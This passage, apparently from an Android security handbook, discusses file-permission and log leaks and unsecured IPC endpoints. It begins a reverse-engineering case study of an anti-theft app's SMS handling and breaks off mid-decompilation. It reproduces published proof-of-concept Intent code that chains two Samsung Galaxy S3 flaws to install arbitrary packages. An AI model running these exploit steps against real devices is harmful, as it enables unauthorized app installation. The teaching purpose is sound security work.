drwxrwxrwx app_152 app_152
2011-04-12 21:49 chatsync
-rw-rw-rw- app_152 app_152
12824 2011-04-11 14:05 keyval.db-journal
-rw-rw-rw- app_152 app_152
33344 2011-04-13 00:08 bistats.db-journal
# grep Default /data/data/com.skype.merlin_mecha/files/shared.xml
<Default>jcaseap</Default>
The plaintext storage aspect aside, the insecure file permissions were the result
of a previously less-well publicized issue with native file creation on Android.
SQLite databases, Shared Preferences files, and plain files created through Java
interfaces all used a file mode of 0660. This rendered the file permissions read/
write for the owning user ID and group ID. However, when any files were created through native code or external commands, the app process inherited the
umask of its parent process, Zygote—a umask of 000, which means world read/
write. The Skype client used native code for much of its functionality, including
creating and interacting with these files.
N O T E As of Android 4.1, the umask for Zygote has been set to a more secure value
of 077. More information about this change is presented in Chapter 12.
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For more information on jcase’s discovery in Skype, see www.androidpolice
.com/2011/04/14/exclusive-vulnerability-in-skype-for-android-is
-exposing-your-name-phone-number-chat-logs-and-a-lot-more/.
Information Leakage Through Logs
Android’s log facility is a great source of information leaks. Through developers’ gratuitous use of log methods, often for debugging purposes, applications
may log anything from general diagnostic messages to login credentials or
other sensitive data. Even system processes, such as the ActivityManager, log
fairly verbose messages about Activity invocation. Applications bearing the
READ_LOGS permission can obtain access to these log messages (by way of
the logcat command).
N O T E The READ_LOGS permission is no longer available to third-party applications
as of Android 4.1. However, for older versions, and rooted devices, third-party access
to this permission and to the logcat command is still possible.
As an example of ActivityManager’s logging verbosity, consider the following log snippet:
I/ActivityManager(13738): START {act=android.intent.action.VIEW
dat=http://www.wiley.com/
cmp=com.google.android.browser/com.android.browser.BrowserActivity
(has extras) u=0} from pid 11352
I/ActivityManager(13738): Start proc com.google.android.browser for
activity com.google.android.browser/com.android.browser.BrowserActivity:
pid=11433 uid=10017 gids={3003, 1015, 1028}
You see the stock browser being invoked, perhaps by way of the user tapping
a link in an e-mail or SMS message. The details of the Intent being passed are
clearly visible, and include the URL (http://www.wiley.com/) the user is visiting. Although this trivial example may not seem like a major issue, under these
circumstances it presents an opportunity to garner some information about a
user’s web-browsing activity.
A more cogent example of excessive logging was found in the Firefox browser
for Android. Neil Bergman reported this issue on the Mozilla bug tracker in
December 2012. Firefox on Android logged browsing activity, including URLs
that were visited. In some cases, this included session identifiers, as Neil pointed
out in his bug entry and associated output from the logcat command:
I/GeckoBrowserApp(17773): Favicon successfully loaded for URL =
https://mobile.walmart.com/m/pharmacy;jsessionid=83CB330691854B071CD172D41DC2C3
AB
I/GeckoBrowserApp(17773): Favicon is for current URL =
https://mobile.walmart.com/m/pharmacy;jsessionid=83CB330691854B071CD172D41DC2C3
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AB
E/GeckoConsole(17773): [JavaScript Warning: "Error in parsing value for
'background'. Declaration dropped." {file:
"https://mobile.walmart.com/m/pharmacy;jsessionid=83CB330691854B071CD172D41DC2C
3AB?wicket:bookmarkablePage=:com.wm.mobile.web.rx.privacy.PrivacyPractices"
line: 0}]
In this case, a malicious application (with log access) could potentially harvest
these session identifiers and hijack the victim’s session on the remote web application. For more details on this issue, see the Mozilla bug tracker at https://
bugzilla.mozilla.org/show_bug.cgi?id=825685.
Unsecured IPC Endpoints
The common interprocess communication (IPC) endpoints—Services, Activities,
BroadcastReceivers, and Content Providers—are often overlooked as potential attack vectors. As both data sources and sinks, interacting with them is
highly dependent on their implementation; and their abuse case dependent on
their purpose. At its most basic level, protection of these interfaces is typically
achieved by way of app permissions (either standard or custom). For example, an
application may define an IPC endpoint that should be accessible only by other
components in that application or that should be accessible by other applications
that request the required permission.
In the event that an IPC endpoint is not properly secured, or a malicious app
requests—and is granted—the required permission, there are specific considerations for each type of endpoint. Content Providers expose access to structured
data by design and therefore are vulnerable to a range of attacks, such as injection
or directory traversal. Activities, as a user-facing component, could potentially
be used by a malicious app in a user interface (UI)–redressing attack.
Broadcast Receivers are often used to handle implicit Intent messages, or
those with loose criteria, such as a system-wide event. For instance, the arrival
of a new SMS message causes the Telephony subsystem to broadcast an implicit
Intent with the SMS_RECEIVED action. Registered Broadcast Receivers with
an intent-filter matching this action receive this message. However, the priority
attribute of intent-filters (not unique just to Broadcast Receivers) can determine
the order in which an implicit Intent is delivered, leading to potential hijacking
or interception of these messages.
N O T E Implicit Intents are those without a specific destination component, whereas
explicit Intents target a particular application and application component (such as
“com.wiley.exampleapp.SomeActivity”).
Services, as discussed in Chapter 2, facilitate background processing for an
app. Similar to Broadcast Receivers and Activities, interaction with Services is
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accomplished using Intents. This includes actions such as starting the service,
stopping the service, or binding to the service. A bound service may also expose
an additional layer of application-specific functionality to other applications.
Since this functionality is custom, a developer may be so bold as to expose a
method that executes arbitrary commands.
A good example of the potential effect of exploiting an unprotected IPC
interface is Andre “sh4ka” Moulu’s discovery in the Samsung Kies application
on the Galaxy S3. sh4ka found that Kies, a highly privileged system application
(including having the INSTALL_PACKAGES permission) had a BroadcastReceiver
that restored application packages (APKs) from the /sdcard/restore directory.
The following snippet is from sh4ka’s decompilation of Kies:
public void onReceive(Context paramContext, Intent paramIntent)
{
...
if (paramIntent.getAction().toString().equals(
"com.intent.action.KIES_START_RESTORE_APK"))
{
kies_start.m_nKiesActionEvent = 15;
int i3 = Log.w("KIES_START",
"KIES_ACTION_EVENT_SZ_START_RESTORE_APK");
byte[] arrayOfByte11 = new byte[6];
byte[] arrayOfByte12 = paramIntent.getByteArrayExtra("head");
byte[] arrayOfByte13 = paramIntent.getByteArrayExtra("body");
byte[] arrayOfByte14 = new byte[arrayOfByte13.length];
int i4 = arrayOfByte13.length;
System.arraycopy(arrayOfByte13, 0, arrayOfByte14, 0, i4);
StartKiesService(paramContext, arrayOfByte12, arrayOfByte14);
return;
}
In the code you see the onReceive method accepting an Intent, paramIntent.
The call to getAction checks that the value of the action field of paramIntent is
KIES_START_RESTORE_APK. If this is true, the method extracts a few extra values,
head and body, from paramIntent and then invokes StartKiesService. The call
chain ultimately results in Kies iterating through /sdcard/restore, installing
each APK therein.
In order to place his own APK in /sdcard/restore with no permissions, sh4ka
exploited another issue that yielded the WRITE_EXTERNAL_STORAGE privilege.
In his write-up “From 0 perm app to INSTALL_PACKAGES,” sh4ka targeted
the ClipboardSaveService on the Samsung GS3. The following code snippet
demonstrates this:
Intent intentCreateTemp = new Intent("com.android.clipboardsaveservice.
CLIPBOARD_SAVE_SERVICE");
intentCreateTemp.putExtra("copyPath", "/data/data/"+getPackageName()+
"/files/avast.apk");
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intentCreateTemp.putExtra("pastePath",
"/data/data/com.android.clipboardsaveservice/temp/");
startService(intentCreateTemp);
Here, sh4ka’s code creates an Intent destined for com.android.clipboardsaveservice.CLIPBOARD_SAVE_SERVICE, passing in extras containing the source path
of his package (in the files directory of his proof-of-concept app’s datastore)
and the destination path of /sdcard/restore. Finally, the call to startService
sends this Intent off, and ClipboardService effectively copies the APK to
/sdcard. All of this happens without the proof-of-concept app holding the
WRITE_EXTERNAL_STORAGE permission.
In the coup de grâce, the appropriate Intent is sent to Kies to gain arbitrary
package installation:
Intent intentStartRestore =
new Intent("com.intent.action.KIES_START_RESTORE_APK");
intentStartRestore.putExtra("head", new String("cocacola").getBytes());
intentStartRestore.putExtra("body", new String("cocacola").getBytes());
sendBroadcast(intentStartRestore);
For more information on sh4ka’s work, check his blog post at http://sh4ka.
fr/android/galaxys3/from_0perm_to_INSTALL_PACKAGES_on_galaxy_S3.html.
Case Study: Mobile Security App
This section walks through assessing a mobile security/anti-theft Android
application. It introduces tools and techniques for static and dynamic analysis
techniques, and you see how to perform some basic reverse engineering. The
goal is for you to better understand how to attack particular components in
this application, as well as uncover any interesting flaws that may assist in that
endeavor.
Profiling
In the Profiling phase, you gather some superficial information about the target application and get an idea of what you’re up against. Assuming you have
little to no information about the application to begin with (sometimes called
the “zero-knowledge” or the “black box” approach), it’s important to learn a
bit about the developer, the application’s dependencies, and any other notable
properties it may have. This will help in determining what techniques to employ
in other phases, and it may even reveal some issues on its own, such as utilizing
a known-vulnerable library or web service.
First, get an idea of the purpose of the application, its developer, and the
development history or reviews. Suffice it to say that apps with poor security
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track records that are published by the same developer may share some issues.
Figure 4-3 shows some basic information for a mobile device recovery/antitheft
application on the Google Play web interface.
Figure 4-3: Application description in Google Play
When you examine this entry a bit more, you gather that it requests quite
a few permissions. This application, if installed, would be rather privileged
as far as third-party apps go. By clicking the Permissions tab in the Play
interface, you can observe what permissions are being requested, as shown
in Figure 4-4.
Based on the description and some of the listed permissions, you can draw a
few conclusions. For example, the description mentions remote locking, wiping,
and audio alerting, which, when combined with the READ_SMS permission,
could lead you to believe that SMS is used for out-of-band communications,
which is common among mobile antivirus apps. Make a note that for later,
because it means you might have some SMS receiver code to examine.
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Figure 4-4: Some of the permissions requested by the target app
Static Analysis
The static analysis phase involves analyzing code and data in the application
(and supporting components) without directly executing the application. At the
outset, this involves identifying interesting strings, such as hard-coded URIs,
credentials, or keys. Following that, you perform additional analyses to construct call graphs, ascertain application logic and flow, and discover potential
security issues.
Although the Android SDK provides useful tools such as dexdump to disassemble classes.dex, you can find other bits of useful information in other files
in the APK. Most of these files are in various formats, such as binary XML, and
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might be difficult to read with common tools like grep. Using apktool, which
can be found at https://code.google.com/p/android-apktool/, you can convert these resources into plaintext and also disassemble the Dalvik executable
bytecode into an intermediate format known as smali (a format which you’ll
see more of later).
Run apktool d with the APK file as a parameter to decode the APK’s contents
and place the files in a directory named after the APK:
~$ apktool d ygib-1.apk
I: Baksmaling...
I: Loading resource table...
...
I: Decoding values */* XMLs...
I: Done.
I: Copying assets and libs...
Now you can grep for interesting strings like URLs in this application, which
could help in understanding communications between this application and a
web service. You also use grep to ignore any references to schemas.android
.com, a common XML namespace string:
~$ grep -Eir "https?://" ygib-1 | grep -v "schemas.android.com"
ygib-1/smali/com/yougetitback/androidapplication/settings/xml/
XmlOperator.smali:
const-string v2, "http://cs1.ucc.ie/~yx2/upload/upload.php"
ygib-1/res/layout/main.xml: xmlns:ygib="http://www.ywlx.net/apk/res/
com.yougetitback.androidapplication.cpw.mobile">
ygib-1/res/values/strings.xml:
<string name="mustenteremail">Please enter
a previous email address if you already have an account on
https://virgin.yougetitback.com or a new email address
if you wish to have a new account to control this device.</string>
ygib-1/res/values/strings.xml:
<string name="serverUrl">
https://virgin.yougetitback.com</string>
ygib-1/res/values/strings.xml:Please create an account on
https://virgin.yougetitback.com
before activating this device"</string>
ygib-1/res/values/strings.xml:
<string name="showsalocation">
http://virgin.yougetitback.com/showSALocation?cellid=</string>
ygib-1/res/values/strings.xml:
<string name="termsofuse">
https://virgin.yougetitback.com/terms_of_use</string>
ygib-1/res/values/strings.xml:
<string name="eula"
>https://virgin.yougetitback.com/eula</string>
ygib-1/res/values/strings.xml:
<string name="privacy">
https://virgin.yougetitback.com/privacy_policy</string>
ygib-1/res/values/strings.xml:
<string name="registration_succeed_text">
Account Registration Successful, you can now use the
email address and password entered to log in to your personal vault on
http://virgin.yougetitback.com</string>
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ygib-1/res/values/strings.xml:
<string name="registrationerror5">ERROR:creating user account.
Please go to http://virgin.yougetitback.com/forgot_password
where you can reset your password, alternatively enter a new
email and password on this screen and we will create a new account for you.
Thank You.</string>
ygib-1/res/values/strings.xml:
<string name="registrationsuccessful">
Congratulations you have sucessfully registered.
You can now use this email and password provided to
login to your personalised vault on http://virgin.yougetitback.com
</string>
ygib-1/res/values/strings.xml:
<string name="link_accessvault">
https://virgin.yougetitback.com/vault</string>
ygib-1/res/values/strings.xml:
<string name="text_help">
Access your online vault, or change your password at &lt;a>
https://virgin.yougetitback.com/forgot_password&lt;/a></string>
Although apktool and common UNIX utilities help in a pinch, you need
something a bit more powerful. In this case, call on the Python-based reverse
engineering and analysis framework Androguard. Although Androguard includes
utilities suited to specific tasks, this chapter focuses on the androlyze tool
in interactive mode, which gives an IPython shell. For starters, just use the
AnalyzeAPK method to create appropriate objects representing the APK and its
resources; the Dex code itself; and also add an option to use the dad decompiler,
so you can convert back to Java pseudo-source:
~$ androlyze.py –s
In [1]: a,d,dx = AnalyzeAPK("/home/ahh/ygib-1.apk",decompiler="dad")
Next, gather some additional cursory information about the application,
namely to confirm what you saw while profiling. This would include things
such as which permissions the application uses, activities the user will most
likely interact with, Services that the app runs, and other Intent receivers. Check
out permissions first, by calling permissions:
In [23]: a.permissions
Out[23]:
['android.permission.CAMERA',
'android.permission.CALL_PHONE',
'android.permission.PROCESS_OUTGOING_CALLS',
...
'android.permission.RECEIVE_SMS',
'android.permission.ACCESS_GPS',
'android.permission.SEND_SMS',
'android.permission.READ_SMS',
'android.permission.WRITE_SMS',
...
These permissions are in line with what you saw when viewing this app in
Google Play. You can go a step further with Androguard and find out which
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classes and methods in the application actually use these permissions, which
might help you narrow your analysis to interesting components:
In [28]: show_Permissions(dx)
ACCESS_NETWORK_STATE :
1 Lcom/yougetitback/androidapplication/PingService;->deviceOnline()Z
(0x22) ---> Landroid/net/ConnectivityManager;>getAllNetworkInfo()[Landroid/net/NetworkInfo;
1 Lcom/yougetitback/androidapplication/PingService;->wifiAvailable()Z
(0x12) ---> Landroid/net/ConnectivityManager;>getActiveNetworkInfo()Landroid/net/NetworkInfo;
...
SEND_SMS :
1 Lcom/yougetitback/androidapplication/ActivateScreen;>sendActivationRequestMessage(Landroid/content/Context;
Ljava/lang/String;)V (0x2) ---> Landroid/telephony/SmsManager;>getDefault()Landroid/telephony/SmsManager;
1 Lcom/yougetitback/androidapplication/ActivateScreen;
->sendActivationRequestMessage(Landroid/content/Context;
...
INTERNET :
1 Lcom/yougetitback/androidapplication/ActivationAcknowledgeService;>doPost(Ljava/lang/String; Ljava/lang/String;)Z (0xe)
---> Ljava/net/URL;->openConnection()Ljava/net/URLConnection;
1 Lcom/yougetitback/androidapplication/ConfirmPinScreen;->doPost(
Ljava/lang/String; Ljava/lang/String;)Z (0xe)
---> Ljava/net/URL;->openConnection()Ljava/net/URLConnection;
...
Although the output was verbose, this trimmed-down snippet shows a few
interesting methods, such as the doPost method in the ConfirmPinScreen class,
which must open a socket at some point as it exercises android.permission
.INTERNET. You can go ahead and disassemble this method to get a handle on
what’s happening by calling show on the target method in androlyze:
In [38]: d.CLASS_Lcom_yougetitback_androidapplication_ConfirmPinScreen.
METHOD_doPost.show()
########## Method Information
Lcom/yougetitback/androidapplication/ConfirmPinScreen;>doPost(Ljava/lang/String;
Ljava/lang/String;)Z [access_flags=private]
########## Params
- local registers: v0...v10
- v11:java.lang.String
- v12:java.lang.String
- return:boolean
####################
************************************************************************
[email protected] :
0 (00000000) const/4
v6, 0
1 (00000002) const/4
v5, 1 [ [email protected] ]
[email protected] :
2 (00000004) new-instance
v3, Ljava/net/URL;
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3 (00000008) invoke-direct
v3, v11, Ljava/net/URL;-><init>
(Ljava/lang/String;)V
4 (0000000e) invoke-virtual
v3, Ljava/net/URL;>openConnection()
Ljava/net/URLConnection;
5 (00000014) move-result-object
v4
6 (00000016) check-cast
v4, Ljava/net/HttpURLConnection;
7 (0000001a) iput-object
v4, v10, Lcom/yougetitback/
androidapplication/ConfirmPinScreen;->con Ljava/net/HttpURLConnection;
8 (0000001e) iget-object
v4, v10, Lcom/yougetitback/
androidapplication/ConfirmPinScreen;->con Ljava/net/HttpURLConnection;
9 (00000022) const-string
v7, 'POST'
10 (00000026) invoke-virtual
v4, v7, Ljava/net/HttpURLConnection;
->setRequestMethod(Ljava/lang/String;)V
11 (0000002c) iget-object
v4, v10, Lcom/yougetitback/
androidapplication/ConfirmPinScreen;->con Ljava/net/HttpURLConnection;
12 (00000030) const-string
v7, 'Content-type'
13 (00000034) const-string
v8, 'application/
x-www-form-urlencoded'
14 (00000038) invoke-virtual
v4, v7, v8, Ljava/net/
HttpURLConnection;->setRequestProperty(Ljava/lang/String; Ljava/lang/String;)
V
15 (0000003e) iget-object
v4, v10, Lcom/yougetitback/
androidapplication/ConfirmPinScreen;->con Ljava/net/HttpURLConnection;
...
31 (00000084) const-string
v7, 'User-Agent'
32 (00000088) const-string
v8, 'Android Client'
...
49 (000000d4) iget-object
v4, v10, Lcom/yougetitback/
androidapplication/ConfirmPinScreen;->con Ljava/net/HttpURLConnection;
50 (000000d8) const/4
v7, 1
51 (000000da) invoke-virtual
v4, v7, Ljava/net/
HttpURLConnection;
->setDoInput(Z)V
52 (000000e0) iget-object
v4, v10, Lcom/yougetitback/
androidapplication/ConfirmPinScreen;->con Ljava/net/HttpURLConnection;
53 (000000e4) invoke-virtual
v4, Ljava/net/HttpURLConnection;
->connect()V
First you see some basic information about how the Dalvik VM should handle
allocation of objects for this method, along with some identifiers for the method
itself. In the actual disassembly that follows, instantiation of objects such as
java.net.HttpURLConnection and invocation of that object’s connect method
confirm the use of the INTERNET permission.
You can get a more readable version of this method by decompiling it, which
returns output that effectively resembles Java source, by calling source on that
same target method:
In [39]: d.CLASS_Lcom_yougetitback_androidapplication_ConfirmPinScreen.
METHOD_doPost.source()
private boolean doPost(String p11, String p12)
{
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this.con = new java.net.URL(p11).openConnection();
this.con.setRequestMethod("POST");
this.con.setRequestProperty("Content-type",
"application/x-www-form-urlencoded");
this.con.setRequestProperty("Content-Length", new
StringBuilder().append(p12.length()).toString());
this.con.setRequestProperty("Connection", "keep-alive");
this.con.setRequestProperty("User-Agent", "Android Client");
this.con.setRequestProperty("accept", "*/*");
this.con.setRequestProperty("Http-version", "HTTP/1.1");
this.con.setRequestProperty("Content-languages", "en-EN");
this.con.setDoOutput(1);
this.con.setDoInput(1);
this.con.connect();
v2 = this.con.getOutputStream();
v2.write(p12.getBytes("UTF8"));
v2.flush();
android.util.Log.d("YGIB Test", new
StringBuilder("con.getResponseCode()—
>").append(this.con.getResponseCode()).toString());
android.util.Log.d("YGIB Test", new StringBuilder(
"urlString-->").append(p11).toString());
android.util.Log.d("YGIB Test", new StringBuilder("content-->").
append(p12).toString());
...
N O T E Note that decompilation isn’t perfect, partly due to differences between the
Dalvik Virtual Machine and the Java Virtual Machine. Representation of control and
data flow in each affect the conversion from Dalvik bytecode to Java pseudo-source.
You see calls to android.util.Log.d, a method which writes a message to
the logger with the debug priority. In this case, the application appears to be
logging details of the HTTP request, which could be an interesting information
leak. You’ll take a look at the log details in action a bit later. For now, see what
IPC endpoints may exist in this application, starting with activities. For this,
call get_activities:
In [87]: a.get_activities()
Out[87]:
['com.yougetitback.androidapplication.ReportSplashScreen',
'com.yougetitback.androidapplication.SecurityQuestionScreen',
'com.yougetitback.androidapplication.SplashScreen',
'com.yougetitback.androidapplication.MenuScreen',
...
'com.yougetitback.androidapplication.settings.setting.Setting',
'com.yougetitback.androidapplication.ModifyPinScreen',
'com.yougetitback.androidapplication.ConfirmPinScreen',
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'com.yougetitback.androidapplication.EnterRegistrationCodeScreen',
...
In [88]: a.get_main_activity()
Out[88]: u'com.yougetitback.androidapplication.ActivateSplashScreen'
Unsurprisingly, this app has numerous activities, including the ConfirmPinScreen
you just analyzed. Next, check Services by calling get_services:
In [113]: a.get_services()
Out[113]:
['com.yougetitback.androidapplication.DeleteSmsService',
'com.yougetitback.androidapplication.FindLocationService',
'com.yougetitback.androidapplication.PostLocationService',
...
'com.yougetitback.androidapplication.LockAcknowledgeService',
'com.yougetitback.androidapplication.ContactBackupService',
'com.yougetitback.androidapplication.ContactRestoreService',
'com.yougetitback.androidapplication.UnlockService',
'com.yougetitback.androidapplication.PingService',
'com.yougetitback.androidapplication.UnlockAcknowledgeService',
...
'com.yougetitback.androidapplication.wipe.MyService',
...
Based on the naming convention of some of these Services (for example,
UnlockService and wipe), they will most likely receive and process commands
from other application components when certain events are trigged. Next, look
at BroadcastReceivers in the app, using get_receivers:
In [115]: a.get_receivers()
Out[115]:
['com.yougetitback.androidapplication.settings.main.Entrance$MyAdmin',
'com.yougetitback.androidapplication.MyStartupIntentReceiver',
'com.yougetitback.androidapplication.SmsIntentReceiver',
'com.yougetitback.androidapplication.IdleTimeout',
'com.yougetitback.androidapplication.PingTimeout',
'com.yougetitback.androidapplication.RestTimeout',
'com.yougetitback.androidapplication.SplashTimeout',
'com.yougetitback.androidapplication.EmergencyTimeout',
'com.yougetitback.androidapplication.OutgoingCallReceiver',
'com.yougetitback.androidapplication.IncomingCallReceiver',
'com.yougetitback.androidapplication.IncomingCallReceiver',
'com.yougetitback.androidapplication.NetworkStateChangedReceiver',
'com.yougetitback.androidapplication.C2DMReceiver']
Sure enough, you find a Broadcast Receiver that appears to be related to processing SMS messages, likely for out-of-band communications such as locking
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and wiping the device. Because the application requests the READ_SMS permission, and you see a curiously named Broadcast Receiver, SmsIntentReceiver,
chances are good that the application’s manifest contains an Intent filter for the
SMS_RECEIVED broadcast. You can view the contents of AndroidManifest.xml
in androlyze with just a couple of lines of Python:
In [77]: for e in x.getElementsByTagName("receiver"):
print e.toxml()
....:
...
<receiver android:enabled="true" android:exported="true" android:name=
"com.yougetitback.androidapplication.SmsIntentReceiver">
<intent-filter android:priority="999">
<action android:name="android.provider.Telephony.SMS_RECEIVED">
</action>
</intent-filter>
</receiver>
...
N O T E You can also dump the contents of AndroidManifest.xml with one command using Androguard’s androaxml.py.
Among others, there’s a receiver XML element specifically for the
com.yougetitback.androidapplication.SmsIntentReceiver class. This particular receiver definition includes an intent-filter XML element with an explicit
android:priority element of 999, targeting the SMS_RECEIVED action from the
android.provider.Telephony class. By specifying this priority attribute, the
application ensures that it will get the SMS_RECEIVED broadcast first, and thus
access to SMS messages before the default messaging application.
Take a look at the methods available in SmsIntentReceiver by calling
get_methods on that class. Use a quick Python for loop to iterate through each
returned method, calling show_info each time:
In [178]: for meth in d.CLASS_Lcom_yougetitback_androidapplication_
SmsIntentReceiver.get_methods():
meth.show_info()
.....:
########## Method Information
Lcom/yougetitback/androidapplication/SmsIntentReceiver;-><init>()V
[access_flags=public constructor]
########## Method Information
Lcom/yougetitback/androidapplication/SmsIntentReceiver;>foregroundUI(Landroid/content/Context;)V [access_flags=private]
########## Method Information
Lcom/yougetitback/androidapplication/SmsIntentReceiver;>getAction(Ljava/lang/String;)Ljava/lang/String; [access_flags=private]
########## Method Information
Lcom/yougetitback/androidapplication/SmsIntentReceiver;-
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>getMessagesFromIntent(Landroid/content/Intent;)
[Landroid/telephony/SmsMessage; [access_flags=private]
Lcom/yougetitback/androidapplication/SmsIntentReceiver;>processBackupMsg(Landroid/content/Context;
Ljava/util/Vector;)V [access_flags=private]
########## Method Information
Lcom/yougetitback/androidapplication/SmsIntentReceiver;->onReceive
(Landroid/content/Context; Landroid/content/Intent;)V [access_flags=public]
...
For Broadcast Receivers, the onReceive method serves as an entry point, so
you can look for cross-references, or xrefs for short, from that method to get an
idea of control flow. First create the xrefs with d.create_xref and then call
show_xref on the object representing the onReceive method:
In [206]: d.create_xref()
In [207]: d.CLASS_Lcom_yougetitback_androidapplication_SmsIntentReceiver.
METHOD_onReceive.show_xref()
########## XREF
T: Lcom/yougetitback/androidapplication/SmsIntentReceiver;
isValidMessage (Ljava/lang/String; Landroid/content/Context;)Z 6c
T: Lcom/yougetitback/androidapplication/SmsIntentReceiver;
processContent (Landroid/content/Context; Ljava/lang/String;)V 78
T: Lcom/yougetitback/androidapplication/SmsIntentReceiver;
triggerAppLaunch (Landroid/content/Context; Landroid/telephony/SmsMessage;)
V 9a
T: Lcom/yougetitback/androidapplication/SmsIntentReceiver;
getMessagesFromIntent (Landroid/content/Intent;)
[Landroid/telephony/SmsMessage; 2a
T: Lcom/yougetitback/androidapplication/SmsIntentReceiver; isPinLock
(Ljava/lang/String; Landroid/content/Context;)Z 8a
####################
You see that onReceive calls a few other methods, including ones that appear
to validate the SMS message and parse content. Decompile and investigate a
few of these, starting with getMessageFromIntent:
In [213]: d.CLASS_Lcom_yougetitback_androidapplication_SmsIntentReceiver.
METHOD_getMessagesFromIntent.source()
private android.telephony.SmsMessage[]
getMessagesFromIntent(android.content.Intent p9)
{
v6 = 0;
v0 = p9.getExtras();
if (v0 != 0) {
v4 = v0.get("pdus");
v5 = new android.telephony.SmsMessage[v4.length];
v3 = 0;
while (v3 < v4.length) {
v5[v3] = android.telephony.SmsMessage.createFromPdu(v4[v3]);
v3++;
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}
v6 = v5;
}
return v6;
}
This is fairly typical code for extracting an SMS Protocol Data Unit (PDU)
from an Intent. You see that the parameter p9 to this method contains the Intent
object. v0 is populated with the result of p9.getExtras, which includes all the
extra objects in the Intent. Next, v0.get("pdus") is called to extract just the PDU
byte array, which is placed in v4. The method then creates an SmsMessage object
from v4, assigns it to v5, and loops while populating members of v5. Finally, in
what might seem like a strange approach (likely due to the decompilation process), v6 is also assigned as the SmsMessage object v5, and returned to the caller.
Decompiling the o n R e c e i v e method, you see that prior to calling
getMessagesFromIntent, a Shared Preferences file, SuperheroPrefsFile, is
loaded. In this instance, the p8 object, representing the application’s Context or
state, has getSharedPreferences invoked. Thereafter, some additional methods
are called to ensure that the SMS message is valid (isValidMessage), and ultimately the content of the message is processed (processContent), all of which
seem to receive the p8 object as a parameter. It’s likely that SuperheroPrefsFile
contains something relevant to the operations that follow, such as a key or PIN:
In [3]: d.CLASS_Lcom_yougetitback_androidapplication_SmsIntentReceiver.
METHOD_onReceive.source()
public void onReceive(android.content.Context p8,
android.content.Intent p9)
{
p8.getSharedPreferences("SuperheroPrefsFile", 0);
if (p9.getAction().equals("
android.provider.Telephony.SMS_RECEIVED") != 0) {
this.getMessagesFromIntent(p9);
if (this != 0) {
v1 = 0;
while (v1 < this.length) {
if (this[v1] != 0) {
v2 = this[v1].getDisplayMessageBody();
if ((v2 != 0) && (v2.length() > 0)) {
android.util.Log.i("MessageListener:", v2);
this.isValidMessage(v2, p8);
if (this == 0) {
this.isPinLock(v2, p8);
if (this != 0) {
this.triggerAppLaunch(p8, this[v1]);
this.abortBroadcast();
}
} else {
this.processContent(p8, v2);
this.abortBroadcast();
...
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Supposing you want to construct a valid SMS message to be processed by
this application, you’d probably want to take a look at isValidMessage, which
you see in the preceding code receives a string pulled from the SMS message
via getDisplayMessageBody, along with the current app context. Decompiling
isValidMessage gives you a bit more insight into this app:
private boolean isValidMessage(String p12, android.content.Context p13)
{
v5 = p13.getString(1.82104701918e+38);
v0 = p13.getString(1.821047222e+38);
v4 = p13.getString(1.82104742483e+38);
v3 = p13.getString(1.82104762765e+38);
v7 = p13.getString(1.82104783048e+38);
v1 = p13.getString(1.8210480333e+38);
v2 = p13.getString(1.82104823612e+38);
v6 = p13.getString(1.82104864177e+38);
v8 = p13.getString(1.82104843895e+38);
this.getAction(p12);
if ((this.equals(v5) == 0) && ((this.equals(v4) == 0) &&
((this.equals(v3) == 0) &&
((this.equals(v0) == 0) && ((this.equals(v7) == 0) &&
((this.equals(v6) == 0) && ((this.equals(v2) == 0) &&
((this.equals(v8) == 0) && (this.equals(v1) == 0))))))))) {
v10 = 0;
} else {
v10 = 1;
}
return v10;
}
You see many calls to getString which, acting on the app’s current Context,
retrieves the textual value for the given resource ID from the application’s string
table, such as those found in values/strings.xml. Notice, however, that the
resource IDs passed to getString appear a bit odd. This is an artifact of some
decompilers’ type propagation issues, which you’ll deal with momentarily. The
previously described method is retrieving those strings from the strings table,
comparing them to the string in p12. The method returns 1 if p12 is matched, and
0 if it isn’t. Back in onReceive, the result of this then determines if isPinLock is
called, or if processContent is called. Take a look at isPinLock:
In [173]: d.CLASS_Lcom_yougetitback_androidapplication_SmsIntentReceiver.
METHOD_isPinLock.source()
private boolean isPinLock(String p6, android.content.Context p7)
{
v2 = 0;
v0 = p7.getSharedPreferences("SuperheroPrefsFile", 0).getString
("pin", "");
if ((v0.compareTo("") != 0) && (p6.compareTo(v0) == 0)) {
v2 = 1;
}
return v2;
}
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A-ha! The Shared Preferences file rears its head again. This small method calls
getString to get the value of the pin entry in SuperheroPrefsFile, and then
compares that with p6, and returns whether the comparison was true or false.
If the comparison was true, onReceive calls triggerAppLaunch. Decompiling
that method may bring you closer to understanding this whole flow:
private void triggerAppLaunch(android.content.Context p9,
android.telephony.SmsMessage p10)
{
this.currentContext = p9;
v4 = p9.getSharedPreferences("SuperheroPrefsFile", 0);
if (v4.getBoolean("Activated", 0) != 0) {
v1 = v4.edit();
v1.putBoolean("lockState", 1);
v1.putBoolean("smspinlock", 1);
v1.commit();
this.foregroundUI(p9);
v0 = p10.getOriginatingAddress();
v2 = new android.content.Intent("com.yougetitback.
androidapplication.FOREGROUND");
v2.setClass(p9, com.yougetitback.androidapplication.
FindLocationService);
v2.putExtra("LockSmsOriginator", v0);
p9.startService(v2);
this.startSiren(p9);
v3 = new android.content.Intent("com.yougetitback.
androidapplicationn.FOREGROUND");
v3.setClass(this.currentContext, com.yougetitback.
androidapplication.LockAcknowledgeService);
this.currentContext.startService(v3);
}
Here, edits are made to SuperheroPrefsFile, setting some Boolean values to
keys indicating if the screen is locked, and if it was done so via SMS. Ultimately,
new Intents are created to start the application’s FindLocationService and
LockAcknowledgeService services, both of which you saw earlier when listing
services. You can forego analyzing these services, as you can make some educated guesses about their purposes. You still have the issue of understanding
the call to processContent back in onReceive:
In [613]: f = d.CLASS_Lcom_yougetitback_androidapplication_
SmsIntentReceiver.METHOD_processContent.source()
private void processContent(android.content.Context p16, String p17)
{
v6 = p16.getString(1.82104701918e+38);
v1 = p16.getString(1.821047222e+38);
v5 = p16.getString(1.82104742483e+38);
v4 = p16.getString(1.82104762765e+38);
v8 = p16.getString(1.82104783048e+38);
...
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v11 = this.split(p17);
v10 = v11.elementAt(0);
if (p16.getSharedPreferences("SuperheroPrefsFile",
0).getBoolean("Activated", 0) == 0) {
if (v10.equals(v5) != 0) {
this.processActivationMsg(p16, v11);
}
} else {
if ((v10.equals(v6) == 0) && ((v10.equals(v5) == 0) &&
((v10.equals(v4) == 0) && ((v10.equals(v8) == 0) &&
((v10.equals(v7) == 0) && ((v10.equals(v3) == 0) &&
(v10.equals(v1) == 0))))))) {
v10.equals(v2);
}
if (v10.equals(v6) == 0) {
